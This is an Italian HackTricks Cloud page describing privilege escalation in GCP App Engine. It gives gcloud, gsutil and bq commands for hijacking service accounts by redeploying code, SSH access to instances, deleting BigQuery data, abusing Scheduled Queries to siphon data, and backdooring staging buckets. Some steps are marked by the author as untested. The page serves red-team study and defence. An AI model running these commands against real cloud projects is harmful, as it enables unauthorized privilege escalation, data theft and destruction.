GCP - AppEngine Privesc
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
App Engine
Per maggiori informazioni su App Engine consulta:
appengine.applications.get, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.operations.list, appengine.services.get, appengine.services.list, appengine.versions.create, appengine.versions.get, appengine.versions.list, cloudbuild.builds.get,iam.serviceAccounts.actAs, resourcemanager.projects.get, storage.objects.create, storage.objects.list
Queste sono le autorizzazioni necessarie per distribuire un’App usando la gcloud cli. Forse i permessi get e list potrebbero essere evitati.
Puoi trovare esempi di codice Python in https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine
Per impostazione predefinita, il nome del servizio App sarà default, e può esserci solo 1 istanza con lo stesso nome.
Per cambiarlo e creare una seconda App, in app.yaml, modifica il valore della chiave radice con qualcosa come service: my-second-app
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
Aspetta almeno 10–15 minuti; se non funziona, esegui un altro deploy e attendi qualche minuto.
Note
È possibile indicare la Service Account da usare, ma per impostazione predefinita viene utilizzata la SA predefinita di App Engine.
L’URL dell’applicazione è qualcosa del tipo https://<proj-name>.oa.r.appspot.com/ o https://<service_name>-dot-<proj-name>.oa.r.appspot.com
Aggiornare i permessi equivalenti
Potresti avere permessi sufficienti per aggiornare un App Engine ma non per crearne uno nuovo. In tal caso, ecco come potresti aggiornare l’App Engine corrente:
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
Se hai già compromesso un AppEngine e hai il permesso appengine.applications.update e actAs sul service account che vuoi usare, potresti modificare il service account usato da AppEngine con:
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
appengine.instances.enableDebug, appengine.instances.get, appengine.instances.list, appengine.operations.get, appengine.services.get, appengine.services.list, appengine.versions.get, appengine.versions.list, compute.projects.get
Con questi permessi, è possibile accedere via ssh alle istanze di App Engine di tipo flexible (non standard). Alcuni dei permessi list e get potrebbero non essere realmente necessari.
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
appengine.applications.update, appengine.operations.get
Penso che questo cambi solo la SA di background che google userà per configurare le applicazioni, quindi non credo si possa abusarne per rubare il service account.
gcloud app update --service-account=<sa_email>
appengine.versions.getFileContents, appengine.versions.update
Non sono sicuro di come usare queste permissions o se siano utili (nota che quando cambi il codice viene creata una nuova versione quindi non so se puoi semplicemente aggiornare il codice o l’IAM role di una, ma immagino che dovresti poterlo fare, magari cambiando il codice all’interno del bucket??).
bigquery.tables.delete, bigquery.datasets.delete & bigquery.models.delete (bigquery.models.getMetadata)
Per rimuovere tabelle, dataset o modelli:
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
bq rm -r -f <PROJECT_ID>:<DATASET>
# Model removal
bq rm -m <PROJECT_ID>:<DATASET_NAME>.<MODEL_NAME>
Abuse of Scheduled Queries
Con le autorizzazioni bigquery.datasets.get, bigquery.jobs.create e iam.serviceAccounts.actAs, un’identità può interrogare i metadata dei dataset, avviare job di BigQuery ed eseguirli usando un Service Account con privilegi più elevati.
Questo attacco permette un uso malevolo delle Scheduled Queries per automatizzare query (eseguite sotto il Service Account scelto), che possono, per esempio, comportare la lettura di dati sensibili e la loro scrittura in un’altra tabella o dataset a cui l’attaccante ha accesso — facilitando l’esfiltrazione indiretta e continua senza dover estrarre i dati all’esterno.
Una volta che l’attaccante sa quale Service Account ha le autorizzazioni necessarie per eseguire la query desiderata, può creare una configurazione di Scheduled Query che viene eseguita usando quel Service Account e scrive periodicamente i risultati in un dataset a sua scelta.
bq mk \
--transfer_config \
--project_id=<PROJECT_ID> \
--location=US \
--data_source=scheduled_query \
--target_dataset=<DEST_DATASET> \
--display_name="Generic Scheduled Query" \
--service_account_name="<SERVICE_ACCOUNT>@<PROJECT_ID>.iam.gserviceaccount.com" \
--schedule="every 10 minutes" \
--params='{
"query": "SELECT * FROM `<PROJECT_ID>.<SOURCE_DATASET>.<source_table>`;",
"destination_table_name_template": "<destination_table>",
"write_disposition": "WRITE_TRUNCATE"
}'
Accesso in scrittura sui buckets
Come menzionato le versioni di AppEngine generano alcuni dati all’interno di un bucket con il nome: staging.<project-id>.appspot.com. Nota che non è possibile effettuare un pre-takeover di questo bucket perché gli utenti GCP non sono autorizzati a generare bucket usando il dominio appspot.com.
Tuttavia, con accesso in lettura & scrittura su questo bucket, è possibile escalare i privilegi all’SA associato alla versione AppEngine monitorando il bucket e, ogni volta che viene effettuata una modifica, modificare il codice il più rapidamente possibile. In questo modo, il container che viene creato da questo codice execute the backdoored code.
Per maggiori informazioni e una PoC controlla le informazioni rilevanti in questa pagina:
Accesso in scrittura all’Artifact Registry
Anche se App Engine crea docker images all’interno di Artifact Registry, è stato testato che anche se modifichi l’immagine all’interno di questo servizio e rimuovi l’istanza App Engine (quindi se ne viene deployata una nuova) il codice eseguito non cambia.
Potrebbe essere possibile che eseguendo una Race Condition attack come con i buckets potrebbe essere possibile sovrascrivere il codice eseguito, ma questo non è stato testato.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

